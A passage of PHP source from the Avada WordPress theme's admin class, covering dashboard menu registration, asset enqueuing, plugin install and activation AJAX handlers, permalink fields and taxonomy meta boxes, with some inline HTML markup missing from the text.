) { // Work around for theme check. $avada_menu_page_creation_method = 'add_menu_page'; $avada_submenu_page_creation_method = 'add_submenu_page'; $dashboard = $avada_menu_page_creation_method( 'Avada Website Builder', 'Avada', 'edit_posts', 'avada', [ $this, 'dashboard_screen' ], 'dashicons-avada', '2.111111' ); $options = $avada_submenu_page_creation_method( 'avada', esc_html__( 'Options', 'Avada' ), esc_html__( 'Options', 'Avada' ), apply_filters( 'awb_role_manager_access_capability', 'manage_options', 'awb_global_options' ), 'themes.php?page=avada_options', '', 2 ); $prebuilt_websites = $avada_submenu_page_creation_method( 'avada', esc_html__( 'Websites', 'Avada' ), esc_html__( 'Websites', 'Avada' ), apply_filters( 'awb_role_manager_access_capability', 'manage_options', 'awb_prebuilts' ), 'avada-prebuilt-websites', [ $this, 'prebuilt_websites_tab' ], 3 ); // Add in pages from Avada Builder. do_action( 'avada_add_admin_menu_pages' ); $maintenance = $avada_submenu_page_creation_method( 'avada', esc_html__( 'Maintenance', 'Avada' ), esc_html__( 'Maintenance', 'Avada' ), 'manage_options', 'avada-maintenance', null, 12 ); // Patcher is added in through patcher class, order is 9. do_action( 'avada_add_admin_menu_maintenance_pages' ); $plugins_callback = [ $this, 'plugins_tab' ]; if ( isset( $_GET['tgmpa-install'] ) || isset( $_GET['tgmpa-update'] ) ) { // phpcs:ignore WordPress.Security require_once $this->includes_path . '/class-avada-tgm-plugin-activation.php'; remove_action( 'admin_notices', [ $GLOBALS['avada_tgmpa'], 'notices' ] ); $plugins_callback = [ $GLOBALS['avada_tgmpa'], 'install_plugins_page' ]; } $plugins = $avada_submenu_page_creation_method( 'avada', esc_html__( 'Plugins', 'Avada' ), esc_html__( 'Plugins', 'Avada' ), 'install_plugins', 'avada-plugins', $plugins_callback, 14 ); $maintenance = $avada_submenu_page_creation_method( 'avada', esc_html__( 'Maintenance Mode', 'Avada' ), esc_html__( 'Maintenance Mode', 'Avada' ), 'manage_options', 'themes.php?page=avada_options#heading_maintenance', '', 15 ); $performance = $avada_submenu_page_creation_method( 'avada', esc_html__( 'Performance', 'Avada' ), esc_html__( 'Performance', 'Avada' ), 'manage_options', 'avada-performance', [ $this, 'performance_tab' ], 16 ); $support = $avada_submenu_page_creation_method( 'avada', esc_html__( 'Support', 'Avada' ), esc_html__( 'Support', 'Avada' ), 'manage_options', 'avada-support', [ $this, 'support_tab' ], 17 ); $status = $avada_submenu_page_creation_method( 'avada', esc_html__( 'System Status', 'Avada' ), esc_html__( 'System Status', 'Avada' ), 'manage_options', 'avada-status', [ $this, 'status_tab' ], 18 ); $setup = $avada_submenu_page_creation_method( 'avada', esc_html__( 'Setup', 'Avada' ), esc_html__( 'Setup', 'Avada' ), 'manage_options', 'avada-setup', [ $this, 'setup_tab' ], 19 ); if ( ! class_exists( 'FusionReduxFrameworkPlugin' ) ) { $theme_options_global = $avada_submenu_page_creation_method( 'themes.php', esc_html__( 'Options', 'Avada' ), esc_html__( 'Options', 'Avada' ), 'manage_options', 'themes.php?page=avada_options' ); } if ( array_key_exists( 'avada', $submenu ) ) { foreach ( $submenu['avada'] as $key => $value ) { $k = array_search( 'avada-maintenance', $value, true ); if ( $k ) { $submenu['avada'][ $key ][ $k ] = ( current_user_can( $submenu['avada'][ $key ][1] ) ) ? esc_url( admin_url( 'admin.php?page=avada-patcher' ) ) : ''; // phpcs:ignore WordPress.WP.GlobalVariablesOverride } } } add_action( 'admin_print_styles-' . $dashboard, [ $this, 'styles_general' ] ); add_action( 'admin_print_scripts-' . $dashboard, [ $this, 'scripts_general' ] ); add_action( 'admin_print_styles', [ $this, 'styles_theme_options' ] ); add_action( 'admin_print_scripts', [ $this, 'scripts_theme_options' ] ); add_action( 'admin_print_styles-' . $prebuilt_websites, [ $this, 'styles_general' ] ); add_action( 'admin_print_scripts-' . $prebuilt_websites, [ $this, 'scripts_general' ] ); add_action( 'admin_print_styles-' . $maintenance, [ $this, 'styles_general' ] ); add_action( 'admin_print_styles-' . $plugins, [ $this, 'styles_general' ] ); add_action( 'admin_print_scripts-' . $plugins, [ $this, 'scripts_general' ] ); add_action( 'admin_print_styles-' . $support, [ $this, 'styles_general' ] ); add_action( 'admin_print_styles-' . $status, [ $this, 'styles_general' ] ); add_action( 'admin_print_scripts-' . $status, [ $this, 'scripts_general' ] ); add_action( 'admin_print_styles-' . $performance, [ $this, 'styles_general' ] ); add_action( 'admin_print_scripts-' . $performance, [ $this, 'scripts_general' ] ); add_action( 'admin_print_styles-' . $setup, [ $this, 'styles_general' ] ); add_action( 'admin_print_scripts-' . $setup, [ $this, 'scripts_general' ] ); add_action( 'admin_footer', 'fusion_the_admin_font_async' ); } } /** * Include file. * * @access public * @since 5.0 * @return void */ public function dashboard_screen() { require_once $this->includes_path . '/admin-screens/dashboard.php'; } /** * Include file. * * @access public * @since 5.0 * @return void */ public function prebuilt_websites_tab() { require_once $this->includes_path . '/admin-screens/prebuilt-websites.php'; } /** * Include file. * * @access public * @since 5.0 * @return void */ public function plugins_tab() { require_once $this->includes_path . '/admin-screens/plugins.php'; } /** * Include file. * * @access public * @since 5.0 * @return void */ public function support_tab() { require_once $this->includes_path . '/admin-screens/support.php'; } /** * Include file. * * @access public * @since 5.0 * @return void */ public function status_tab() { require_once $this->includes_path . '/admin-screens/status.php'; } /** * Include file. * * @access public * @since 5.0 * @return void */ public function performance_tab() { require_once $this->includes_path . '/admin-screens/performance.php'; } /** * Include file. * * @access public * @since 8.0 * @return void */ public function setup_tab() { require_once $this->includes_path . '/admin-screens/setup.php'; } /** * Renders the admin screens header with title, logo and tabs. * * @static * @access public * @since 5.0 * @param string $screen The current screen. * @return void */ public static function get_admin_screens_header( $screen = 'welcome' ) { if ( ! current_user_can( 'edit_posts' ) ) { return; } if ( 'welcome' === $screen ) { Avada()->registration->check_registration(); } $screen_classes = 'wrap avada-dashboard avada-db-' . $screen; $screen_classes .= Avada()->registration->appear_registered() ? ' avada-registration-completed' : ' avada-registration-pending'; $screen_classes .= class_exists( 'AWB_Prebuilt_Websites' ) && AWB_Prebuilt_Websites()->are_avada_plugins_active() ? ' avada-plugins-activated' : ' avada-pending-plugins-activation'; if ( in_array( $screen, [ 'builder-options', 'layout-sections', 'layouts', 'off-canvas', 'icons', 'forms', 'form-entries', 'library', 'plugins' ], true ) ) { $screen_classes .= ' fusion-builder-wrap'; if ( 'builder-options' === $screen ) { $screen_classes .= ' fusion-builder-settings'; } } elseif ( in_array( $screen, [ 'sliders', 'slides', 'slide-edit' ], true ) ) { $screen_classes .= ' avada-db-edit-screen'; } elseif ( in_array( $screen, [ 'support', 'performance', 'setup' ], true ) ) { // These screens won't show any notices. $screen_classes .= ' about-wrap'; } if ( 'setup' === $screen ) { AWB_Setup_Wizard()->render_header( $screen_classes ); return; } if ( 'performance' === $screen ) { AWB_Performance_Wizard()->render_header( $screen_classes ); return; } ?>
|

'; return apply_filters( 'fusion_admin_social_media_links', $social_media_markup ); } /** * Enqueues scripts. * * @since 5.0.3 * @access public * @return void */ public function admin_scripts() { global $pagenow; $version = Avada::get_theme_version(); wp_enqueue_style( 'avada-wp-admin-css', get_template_directory_uri() . '/assets/admin/css/admin.css', [], $version ); wp_enqueue_style( 'fusion-font-icomoon', FUSION_LIBRARY_URL . '/assets/fonts/icomoon-admin/icomoon.css', [], $version, 'all' ); if ( current_user_can( 'switch_themes' ) ) { // Add script to check for fusion option slider changes. if ( 'post-new.php' === $pagenow || 'edit.php' === $pagenow || 'post.php' === $pagenow ) { wp_enqueue_script( 'slider_preview', trailingslashit( Avada::$template_dir_url ) . 'assets/admin/js/fusion-builder-slider-preview.js', [], $version, true ); } if ( 'nav-menus.php' === $pagenow || 'widgets.php' === $pagenow ) { wp_enqueue_style( 'select2-css', Avada::$template_dir_url . '/assets/admin/css/select2.css', [], $version, 'all' ); wp_enqueue_script( 'selectwoo-js', Avada::$template_dir_url . '/assets/admin/js/selectWoo.full.min.js', [ 'jquery' ], $version, false ); // Range field assets. wp_enqueue_style( 'avadaredux-nouislider-css', FUSION_LIBRARY_URL . '/inc/redux/framework/FusionReduxCore/inc/fields/slider/vendor/nouislider/fusionredux.jquery.nouislider.css', [], $version, 'all' ); wp_enqueue_script( 'avadaredux-nouislider-js', Avada::$template_dir_url . '/assets/admin/js/jquery.nouislider.min.js', [ 'jquery' ], $version, true ); wp_enqueue_script( 'wnumb-js', Avada::$template_dir_url . '/assets/admin/js/wNumb.js', [ 'jquery' ], $version, true ); if ( function_exists( 'AWB_Global_Colors' ) ) { AWB_Global_Colors()->enqueue(); } wp_enqueue_style( 'fontawesome', Fusion_Font_Awesome::get_backend_css_url(), [], $version ); if ( '1' === Avada()->settings->get( 'fontawesome_v4_compatibility' ) ) { wp_enqueue_script( 'fontawesome-shim-script', FUSION_LIBRARY_URL . '/assets/fonts/fontawesome/js/fa-v4-shims.js', [], $version, false ); wp_enqueue_style( 'fontawesome-shims', Fusion_Font_Awesome::get_backend_shims_css_url(), [], $version ); } if ( '1' === Avada()->settings->get( 'status_fontawesome_pro' ) ) { wp_enqueue_script( 'fontawesome-search-script', FUSION_LIBRARY_URL . '/assets/fonts/fontawesome/js/icons-search-pro.js', [], $version, false ); } else { wp_enqueue_script( 'fontawesome-search-script', FUSION_LIBRARY_URL . '/assets/fonts/fontawesome/js/icons-search-free.js', [], $version, false ); } wp_enqueue_script( 'fuse-script', FUSION_LIBRARY_URL . '/assets/min/js/library/fuse.js', [], $version, false ); wp_enqueue_script( 'fusion-menu-options', trailingslashit( Avada::$template_dir_url ) . 'assets/admin/js/fusion-menu-options.js', [ 'selectwoo-js' ], $version, true ); wp_localize_script( 'fusion-menu-options', 'fusionMenuConfig', [ 'fontawesomeicons' => fusion_get_icons_array(), 'fontawesomesubsets' => Avada()->settings->get( 'status_fontawesome' ), 'customIcons' => fusion_get_custom_icons_array(), /* translators: The iconset name. */ 'no_results_in' => esc_html__( 'No Results in "%s"', 'fusion-builder' ), ] ); } // @codingStandardsIgnoreLine //wp_enqueue_script( 'beta-test', trailingslashit( Avada::$template_dir_url ) . 'assets/admin/js/avada-beta-testing.js', [], $version, true ); } // Color palette should be available to all users. if ( in_array( $pagenow, [ 'themes.php', 'nav-menus.php', 'widgets.php', 'post-new.php', 'edit.php', 'post.php', 'edit-tags.php', 'term.php' ], true ) ) { wp_localize_script( 'wp-color-picker', 'fusionColorPalette', [ 'color_palette' => fusion_get_option( 'color_palette' ), ] ); } } /** * Enqueues styles. * * @access public * @return void */ public function styles_general() { $ver = Avada::get_theme_version(); wp_enqueue_style( 'avada_admin_css', trailingslashit( Avada::$template_dir_url ) . 'assets/admin/css/avada-admin.css', [], $ver ); } /** * Enqueues scripts & styles. * * @access public * @return void */ public function scripts_general() { $ver = Avada::get_theme_version(); wp_enqueue_script( 'avada_zeroclipboard', trailingslashit( Avada::$template_dir_url ) . 'assets/admin/js/zeroclipboard.js', [], $ver, false ); wp_enqueue_script( 'tiptip_jquery', trailingslashit( Avada::$template_dir_url ) . 'assets/admin/js/tiptip.jquery.min.js', [], $ver, false ); wp_enqueue_script( 'avada_admin_js', trailingslashit( Avada::$template_dir_url ) . 'assets/admin/js/avada-admin.js', [ 'tiptip_jquery', 'avada_zeroclipboard', 'underscore' ], $ver, true ); wp_localize_script( 'avada_admin_js', 'avadaAdminL10nStrings', $this->get_admin_script_l10n_strings() ); } /** * Enqueues styles. * * @access public * @return void */ public function styles_theme_options() { $ver = Avada::get_theme_version(); $screen = get_current_screen(); if ( isset( $screen->id ) && 'appearance_page_avada_options' === $screen->id ) { $this->styles_general(); } } /** * Enqueues scripts & styles. * * @access public * @return void */ public function scripts_theme_options() { $ver = Avada::get_theme_version(); $screen = get_current_screen(); if ( isset( $screen->id ) && 'appearance_page_avada_options' === $screen->id ) { wp_enqueue_script( 'avada_theme_options_menu_mod', trailingslashit( Avada::$template_dir_url ) . 'assets/admin/js/avada-theme-options-menu-mod.js', [ 'jquery' ], $ver, false ); } } /** * AJAX callback method. Used to activate plugin. * * @access public * @since 5.2 * @return void */ public function ajax_activate_plugin() { if ( current_user_can( 'activate_plugins' ) ) { if ( isset( $_GET['avada_activate'] ) && 'activate-plugin' === $_GET['avada_activate'] ) { // phpcs:ignore WordPress.Security check_admin_referer( 'avada-activate', 'avada_activate_nonce' ); $plugins = Avada_TGM_Plugin_Activation::$instance->plugins; foreach ( $plugins as $plugin ) { if ( isset( $_GET['plugin'] ) && $plugin['slug'] === $_GET['plugin'] ) { $result = activate_plugin( $plugin['file_path'] ); $response = []; $this->clear_plugin_redirection_transients( $_GET['plugin'] ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput if ( ! is_wp_error( $result ) ) { $response['message'] = 'plugin activated'; $response['error'] = false; } else { $response['message'] = $result->get_error_message(); $response['error'] = true; } echo wp_json_encode( $response ); die(); } } } } } /** * AJAX callback method. * Used to install and activate plugin. * * @access public * @since 5.0 * @return void */ public function ajax_install_plugin() { if ( current_user_can( 'install_plugins' ) ) { if ( isset( $_GET['avada_activate'] ) && 'activate-plugin' === $_GET['avada_activate'] ) { // phpcs:ignore WordPress.Security check_admin_referer( 'avada-activate', 'avada_activate_nonce' ); // Unfortunately 'output buffering' doesn't work here as eventually 'wp_ob_end_flush_all' function is called. $GLOBALS['avada_tgmpa']->install_plugins_page(); $this->clear_plugin_redirection_transients( $_GET['plugin'] ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput die(); } } } /** * Clears plugin's redirection transients. * * @access private * @since 7.7 * @param string $plugin_slug Plugin slug. * @return void */ private function clear_plugin_redirection_transients( $plugin_slug ) { // Make sure woo setup won't run after this. if ( 'woocommerce' === $plugin_slug ) { delete_transient( '_wc_activation_redirect' ); } // Make sure bbpress welcome screen won't run after this. if ( 'bbpress' === $plugin_slug ) { delete_transient( '_bbp_activation_redirect' ); } // Make sure Convert Plus welcome screen won't run after this. if ( 'convertplug' === $plugin_slug ) { delete_option( 'convert_plug_redirect' ); } // Make sure events calendar welcome screen won't run after this. if ( 'the-events-calendar' === $plugin_slug ) { delete_transient( '_tribe_events_activation_redirect' ); } // Make sure HubSpot welcome screen won't load. if ( 'leadin' === $plugin_slug ) { delete_transient( 'leadin_redirect_after_activation' ); } } /** * Get the plugin link. * * @access public * @param array $item The plugin in question. * @return array */ public function plugin_link( $item ) { if ( ! function_exists( 'get_plugins' ) ) { require_once wp_normalize_path( ABSPATH . 'wp-admin/includes/plugin.php' ); } $installed_plugins = get_plugins(); $item['sanitized_plugin'] = $item['name']; $actions = []; // We have a repo plugin. if ( ! $item['version'] ) { $item['version'] = Avada_TGM_Plugin_Activation::$instance->does_plugin_have_update( $item['slug'] ); } $disable_class = ''; $data_version = ''; $fusion_builder_action = ''; if ( 'fusion-builder' === $item['slug'] && false !== get_option( 'avada_previous_version' ) ) { $fusion_core_version = Avada_TGM_Plugin_Activation::$instance->get_installed_version( Avada_TGM_Plugin_Activation::$instance->plugins['fusion-core']['slug'] ); if ( version_compare( $fusion_core_version, '3.0', '<' ) ) { $disable_class = ' disabled fusion-builder'; $data_version = ' data-version="' . $fusion_core_version . '"'; $fusion_builder_action = [ 'install' => '
' . esc_html__( 'Please update Avada Core to latest version.', 'Avada' ) . '
', ]; } elseif ( ! Avada()->registration->should_show( 'plugins' ) ) { $disable_class = ' disabled avada-no-token'; } } elseif ( $item['premium'] && ! Avada()->registration->should_show( 'plugins' ) ) { $disable_class = ' disabled avada-no-token'; } // We need to display the 'Install' hover link. if ( ! isset( $installed_plugins[ $item['file_path'] ] ) ) { if ( ! $disable_class ) { $url = esc_url( wp_nonce_url( add_query_arg( [ 'page' => rawurlencode( Avada_TGM_Plugin_Activation::$instance->menu ), 'plugin' => rawurlencode( $item['slug'] ), 'plugin_name' => rawurlencode( $item['sanitized_plugin'] ), 'tgmpa-install' => 'install-plugin', 'return_url' => 'fusion_plugins', ], Avada_TGM_Plugin_Activation::$instance->get_tgmpa_url() ), 'tgmpa-install', 'tgmpa-nonce' ) ); } else { $url = '#'; } if ( $fusion_builder_action ) { $actions = $fusion_builder_action; } else { $actions = [ /* translators: Plugin name. */ 'install' => '' . esc_attr__( 'Install', 'Avada' ) . '', ]; } } elseif ( is_plugin_inactive( $item['file_path'] ) ) { // We need to display the 'Activate' hover link. $url = esc_url( add_query_arg( [ 'plugin' => rawurlencode( $item['slug'] ), 'plugin_name' => rawurlencode( $item['sanitized_plugin'] ), 'avada-activate' => 'activate-plugin', 'avada-activate-nonce' => wp_create_nonce( 'avada-activate' ), ], admin_url( 'admin.php?page=avada-plugins' ) ) ); $actions = [ /* translators: Plugin Name. */ 'activate' => '' . esc_attr__( 'Activate', 'Avada' ) . '', ]; } elseif ( version_compare( $installed_plugins[ $item['file_path'] ]['Version'], $item['version'], '<' ) ) { // We need to display the 'Update' hover link. $url = wp_nonce_url( add_query_arg( [ 'page' => rawurlencode( Avada_TGM_Plugin_Activation::$instance->menu ), 'plugin' => rawurlencode( $item['slug'] ), 'tgmpa-update' => 'update-plugin', 'version' => rawurlencode( $item['version'] ), 'return_url' => 'fusion_plugins', ], Avada_TGM_Plugin_Activation::$instance->get_tgmpa_url() ), 'tgmpa-update', 'tgmpa-nonce' ); $actions = [ /* translators: Plugin Name. */ 'update' => '' . esc_attr__( 'Update', 'Avada' ) . '', ]; } elseif ( fusion_is_plugin_activated( $item['file_path'] ) ) { $url = esc_url( add_query_arg( [ 'plugin' => rawurlencode( $item['slug'] ), 'plugin_name' => rawurlencode( $item['sanitized_plugin'] ), 'avada-deactivate' => 'deactivate-plugin', 'avada-deactivate-nonce' => wp_create_nonce( 'avada-deactivate' ), ], admin_url( 'admin.php?page=avada-plugins' ) ) ); $actions = [ /* translators: Plugin name. */ 'deactivate' => '' . esc_attr__( 'Deactivate', 'Avada' ) . '', ]; } return $actions; } /** * Needed in order to enable TGMP in AJAX call. * * @access public * @since 5.0 * @param bool $load Whether TGMP should be inited or not. * @return bool */ public function enable_tgmpa( $load ) { return true; } /** * Removes install link for Avada Builder, if Avada Core was not updated to 3.0 * * @since 5.0.0 * @param array $action_links The action link(s) for a required plugin. * @param string $item_slug The slug of a required plugin. * @param array $item Data belonging to a required plugin. * @param string $view_context Specifying the kind of action (install, activate, update). * @return array The action link(s) for a required plugin. */ public function edit_tgmpa_action_links( $action_links, $item_slug, $item, $view_context ) { if ( 'fusion-builder' === $item_slug && 'install' === $view_context ) { $fusion_core_version = Avada_TGM_Plugin_Activation::$instance->get_installed_version( Avada_TGM_Plugin_Activation::$instance->plugins['fusion-core']['slug'] ); if ( version_compare( $fusion_core_version, '3.0', '<' ) ) { $action_links['install'] = '' . esc_attr__( 'Avada Builder will be installable, once Avada Core plugin is updated.', 'Avada' ) . '' . esc_attr__( 'Avada Builder', 'Avada' ) . ''; } } return $action_links; } /** * Removes install link for Avada Builder, if Avada Core was not updated to 3.0 * * @since 5.0.0 * @param array $action_links The action link(s) for a required plugin. * @return array The action link(s) for a required plugin. */ public function edit_tgmpa_notice_action_links( $action_links ) { $fusion_core_version = Avada_TGM_Plugin_Activation::$instance->get_installed_version( Avada_TGM_Plugin_Activation::$instance->plugins['fusion-core']['slug'] ); $current_screen = get_current_screen(); if ( 'avada_page_avada-plugins' === $current_screen->id ) { $link_template = '' . esc_attr__( 'Manage Plugins Below', 'Avada' ) . ''; $action_links = [ 'install' => $link_template, ]; } elseif ( version_compare( $fusion_core_version, '3.0', '<' ) ) { $link_template = '' . esc_attr__( 'Go Manage Plugins', 'Avada' ) . ''; $action_links = [ 'install' => $link_template, ]; } return $action_links; } /** * Initialize the permalink settings. * * @since 3.9.2 */ public function init_permalink_settings() { add_settings_field( 'avada_portfolio_category_slug', // ID. esc_attr__( 'Avada portfolio category base', 'Avada' ), // Setting title. [ $this, 'permalink_slug_input' ], // Display callback. 'permalink', // Settings page. 'optional', // Settings section. [ 'taxonomy' => 'portfolio_category', ] // Args. ); add_settings_field( 'avada_portfolio_skills_slug', esc_attr__( 'Avada portfolio skill base', 'Avada' ), [ $this, 'permalink_slug_input' ], 'permalink', 'optional', [ 'taxonomy' => 'portfolio_skills', ] ); add_settings_field( 'avada_portfolio_tag_slug', esc_attr__( 'Avada portfolio tag base', 'Avada' ), [ $this, 'permalink_slug_input' ], 'permalink', 'optional', [ 'taxonomy' => 'portfolio_tags', ] ); add_settings_field( 'avada_faq_category_slug', esc_attr__( 'Avada FAQ category base', 'Avada' ), [ $this, 'permalink_slug_input' ], 'permalink', 'optional', [ 'taxonomy' => 'faq_category', ] ); } /** * Show a slug input box. * * @since 3.9.2 * @access public * @param array $args The argument. */ public function permalink_slug_input( $args ) { $permalinks = get_option( 'avada_permalinks' ); $permalink_base = $args['taxonomy'] . '_base'; $input_name = 'avada_' . $args['taxonomy'] . '_slug'; $placeholder = $args['taxonomy']; ?> theme_version = Avada()->get_normalized_theme_version(); } /** * Sets the WP_Object for the theme. * * @since 5.0.0 * * @access public * @return void */ public function set_theme_object() { $theme_object = wp_get_theme(); if ( $theme_object->parent_theme ) { $template_dir = basename( Avada::$template_dir_path ); $theme_object = wp_get_theme( $template_dir ); } $this->theme_object = $theme_object; } /** * Override some LayerSlider data. * * @since 5.0.5 * @access public * @return void */ public function layerslider_overrides() { // Disable auto-updates. $GLOBALS['lsAutoUpdateBox'] = false; } /** * Add custom rules to Facebook instant articles plugin. * * @since 5.1 * @access public * @param object $transformers The transformers object from the Facebook Instant Articles plugin. * @return object */ public function add_instant_article_rules( $transformers ) { $selectors_pass = [ 'fusion-fullwidth', 'fusion-builder-row', 'fusion-layout-column', 'fusion-column-wrapper', 'fusion-title', 'fusion-imageframe', 'imageframe-align-center', 'fusion-checklist', 'fusion-li-item', 'fusion-li-item-content' ]; $selectors_ignore = [ 'fusion-column-inner-bg-image', 'fusion-clearfix', 'title-sep-container', 'fusion-sep-clear', 'fusion-separator' ]; $avada_rules = '{ "rules" : ['; foreach ( $selectors_pass as $selector ) { $avada_rules .= '{ "class": "PassThroughRule", "selector" : "div.' . $selector . '" },'; } foreach ( $selectors_ignore as $selector ) { $avada_rules .= '{ "class": "IgnoreRule", "selector" : "div.' . $selector . '" },'; } $avada_rules = trim( $avada_rules, ',' ) . ']}'; $transformers->loadRules( $avada_rules ); return $transformers; } /** * Returns an array of strings that will be used by avada-admin.js for translations. * * @access private * @since 5.2 * @return array */ private function get_admin_script_l10n_strings() { $import_warning_default = __( '

Importing prebuilt content will give you layouts, pages, posts, forms, icons, global options, widgets, sidebars, sliders and other settings. This will replicate the live prebuilt site. Clicking this option will replace your current global options and widgets. It can also take a minute to complete.

' . esc_html__( 'Recommendations', 'Avada' ) . '

Memory Limit of 128 MB and max execution time (php time limit) of 180 seconds.

' . esc_html__( 'Requirements', 'Avada' ) . '

Avada Core must be activated for Avada Sliders, portfolios and FAQs to import.

Avada Builder must be activated for layouts, icons, forms and page content to display as intended.

Any other plugins that are listed as required need to be active in order to install the corresponding third-party content.

', 'Avada' ); // phpcs:ignore WordPress.WP.I18n.NonSingularStringLiteralText return [ 'content' => esc_attr__( 'Content', 'Avada' ), 'modify' => esc_attr__( 'Modify', 'Avada' ), 'full_import' => esc_attr__( 'Full Import', 'Avada' ), 'partial_import' => esc_attr__( 'Partial Import', 'Avada' ), 'import' => esc_attr__( 'Import', 'Avada' ), 'download' => esc_attr__( 'Download', 'Avada' ), 'general_data' => esc_attr__( 'General Data', 'Avada' ), 'default' => $import_warning_default, /* translators: The current step label. */ 'currently_processing' => esc_attr__( 'Currently Processing: %s', 'Avada' ), /* translators: The current step label. */ 'currently_removing' => esc_attr__( 'Currently Removing: %s', 'Avada' ), 'file_does_not_exist' => esc_attr__( 'The file does not exist', 'Avada' ), /* translators: URL. */ 'error_timeout' => wp_kses_post( sprintf( __( 'The server couldn\'t be reached. Please check for wp_remote_get on the System Status page.', 'Avada' ), admin_url( 'admin.php?page=avada-status' ) ) ), 'error_php_limits' => wp_kses_post( __( 'The import process has timed out, but already imported steps have been saved. Click "continue", and the importer will attempt to complete the remaining steps of the import process.', 'Avada' ) ), 'remove_demo' => esc_attr__( 'Removing prebuilt website content will remove ALL previously imported content from this prebuilt website and restore your site to the state it was in before this prebuilt content was imported.', 'Avada' ), 'update_fc' => __( 'Avada Builder Plugin can only be installed and activated if Avada Core plugin is at version 3.0 or higher. Please update Avada Core first.', 'Avada' ), /* translators: URL. */ 'register_first' => sprintf( __( 'This plugin can only be installed or updated, after you have successfully completed the Avada product registration on the Dashboard Welcome tab.', 'Avada' ), admin_url( 'admin.php?page=avada#avada-db-registration' ) ), 'plugin_install_failed' => __( 'Plugin install failed. Please try Again.', 'Avada' ), 'plugin_active' => __( 'Active', 'Avada' ), 'please_wait' => esc_html__( 'Please wait, this may take a minute...', 'Avada' ), ]; } /** * Add meta boxes to taxonomies * * @access public * @since 3.1.1 * @return void */ public function avada_taxonomy_meta() { global $pagenow; if ( ! ( 'term.php' === $pagenow || 'edit-tags.php' === $pagenow || ( fusion_doing_ajax() && ! empty( $_REQUEST['action'] ) && 'add-tag' === $_REQUEST['action'] ) ) ) { // phpcs:ignore WordPress.Security return; } // Include Tax meta class. include_once Avada::$template_dir_path . '/includes/class-avada-taxonomy-meta.php'; // Where to add meta fields. $args = [ 'screens' => apply_filters( 'fusion_tax_meta_allowed_screens', [ 'category', 'portfolio_category', 'faq_category', 'product_cat', 'product_brand', 'tribe_events_cat', 'post_tag', 'portfolio_tags', 'product_tag', 'topic-tag', 'portfolio_skills' ] ), ]; // Init taxonomy meta boxes. $avada_meta = new Avada_Taxonomy_Meta( $args ); $options = $avada_meta::avada_taxonomy_map(); if ( isset( $options['taxonomy_options']['fields'] ) ) { foreach ( $options['taxonomy_options']['fields'] as $field ) { // Defaults. $field['id'] = isset( $field['id'] ) ? $field['id'] : ''; $field['label'] = isset( $field['label'] ) ? $field['label'] : ''; $field['choices'] = isset( $field['choices'] ) ? $field['choices'] : []; $field['description'] = isset( $field['description'] ) ? $field['description'] : ''; $field['default'] = isset( $field['default'] ) ? $field['default'] : ''; $field['dependency'] = isset( $field['dependency'] ) ? $field['dependency'] : []; $field['class'] = isset( $field['class'] ) ? $field['class'] : ''; switch ( $field['type'] ) { case 'header': $args = [ 'value' => $field['label'], 'class' => $field['class'], ]; $avada_meta->header( $field['id'], $args ); break; case 'select': $args = [ 'name' => $field['label'], 'default' => $field['default'], 'class' => $field['class'], 'desc' => $field['description'], 'dependency' => $field['dependency'], ]; $avada_meta->select( $field['id'], $field['choices'], $args ); break; case 'radio-buttonset': $args = [ 'name' => $field['label'], 'default' => $field['default'], 'class' => $field['class'], 'desc' => $field['description'], 'dependency' => $field['dependency'], ]; $avada_meta->radio_buttonset( $field['id'], $field['choices'], $args ); break; case 'checkbox-buttonset': $args = [ 'name' => $field['label'], 'default' => $field['default'], 'class' => $field['class'], 'desc' => $field['description'], 'dependency' => $field['dependency'], ]; $avada_meta->checkbox_buttonset( $field['id'], $field['value'], $args ); break; case 'text': $args = [ 'name' => $field['label'], 'class' => $field['class'], 'desc' => $field['description'], 'dependency' => $field['dependency'], ]; $avada_meta->text( $field['id'], $args ); break; case 'dimensions': $args = [ 'name' => $field['label'], 'class' => $field['class'], 'desc' => $field['description'], 'dependency' => $field['dependency'], 'default' => $field['value'], ]; $avada_meta->dimensions( $field['id'], $args ); break; case 'color-alpha': $args = [ 'name' => $field['label'], 'class' => $field['class'], 'desc' => $field['description'], 'default' => $field['default'], 'dependency' => $field['dependency'], ]; $avada_meta->colorpicker( $field['id'], $args ); break; case 'media_url': case 'media': $args = [ 'name' => $field['label'], 'class' => $field['class'], 'desc' => $field['description'], 'dependency' => $field['dependency'], ]; $avada_meta->image( $field['id'], $args ); break; } } } } /** * Gets the dashboard-screen video URL. * * @static * @access public * @since 6.2.0 * @return string Returns a URL. */ public static function get_dashboard_screen_video_url() { $video_url = ''; $fresh_install = get_transient( 'awb_fresh_install' ); $data = Avada::get_data(); if ( isset( $data['video_url'] ) && ( 'fresh' === $fresh_install || 'https://www.youtube.com/watch?v=b_HWpHZJDU8' !== $data['video_url'] ) ) { $video_url = $data['video_url']; } if ( false !== strpos( $video_url, 'https://www.youtube.com/watch?v=' ) ) { $video_url = str_replace( [ 'https://www.youtube.com/watch?v=', '?rel=0' ], [ 'https://www.youtube.com/embed/', '' ], $video_url ) . '?rel=0'; } return $video_url; } /** * Get plugin info from plugins with plugin name. * * @since 7.0 * @param string $plugin_name Plugin name to search for. * @param array $plugins Plugins array containing all plugins data. * @return array */ public function fusion_get_plugin_info( $plugin_name, $plugins ) { $plugin_info_return = null; foreach ( $plugins as $plugin_file => $plugin_info ) { if ( $plugin_info['Name'] === $plugin_name ) { $plugin_info['plugin_file'] = $plugin_file; $plugin_info['is_active'] = fusion_is_plugin_activated( $plugin_file ); $plugin_info_return = $plugin_info; } } return apply_filters( 'fusion_get_plugin_info', $plugin_info_return, $plugin_name, $plugins ); } /** * Deprecated method, exists to prevent error. * * @since 7.3 * @param bool $update Deprecated param. * @return void */ public static function set_dashboard_data( $update = false ) { } /** * Deprecated method, exists to prevent error. * * @since 7.3 * @return array */ public static function get_dashboard_data() { return []; } /** * Output warning for legacy mode. * * @since 7.3 * @return void */ public function legacy_countdown() { $data = Avada::get_data(); if ( ! Avada()->registration->is_registered() && '' !== Avada()->registration->get_token() && isset( $data['legacy_end'] ) && '' !== $data['legacy_end'] && ! Avada()->registration->is_legacy_update() ) { $legacy_active = Avada()->registration->legacy_support(); $button_url = isset( $_GET['page'] ) && 'avada' === $_GET['page'] ? '#avada-db-registration' : admin_url( 'admin.php?page=avada#_avada-db-registration' ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended $message = '

' . esc_html__( 'Avada Product Registration Needs To Be Updated', 'Avada' ) . '

